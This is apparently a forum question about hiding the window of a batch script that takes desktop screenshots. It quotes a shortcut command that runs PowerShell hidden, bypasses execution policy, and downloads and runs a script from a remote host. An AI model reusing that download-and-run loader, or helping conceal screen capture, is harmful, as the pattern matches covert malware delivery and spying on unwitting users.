Thank you in advance for your time.
I found/edit a batch script (bat1.cmd) which take a desktop screenshot. Everything is working good actually. Here is my complete code = https://pastebin.com/KvqgFx5L .
My only request here is to hide/minimize the bat1.cmd window when i run it (within a lnk, check "NB" at the end of my message).
I made some researches and a classic solution is to use this kind of scripts :
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
or
if not "%minimized%"=="" goto :minimized
set minimized=true
start /min cmd /C "%~dpnx0"
goto :EOF
:minimized
Unfortunately my batch script (bat1.cmd) have special parameters that do not allow (?) to add this kind of "minimize" script (I tried to add it on top, inside the script etc and nothing is working).
NB : The batch script (bat1.cmd) is donwloaded/run within a shortcurt (bat1.lnk) but adding minimized parameters in the lnk won't minimized the bat1.cmd window (I guess ?/I made test).
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -w hidden ; (New-Object System.Net.WebClient).DownloadFile('http://host.com/bat1.cmd','%APPDATA%\bat1.cmd');Start('%APPDATA%\bat1.cmd');
Thank you a lot in advance for your help.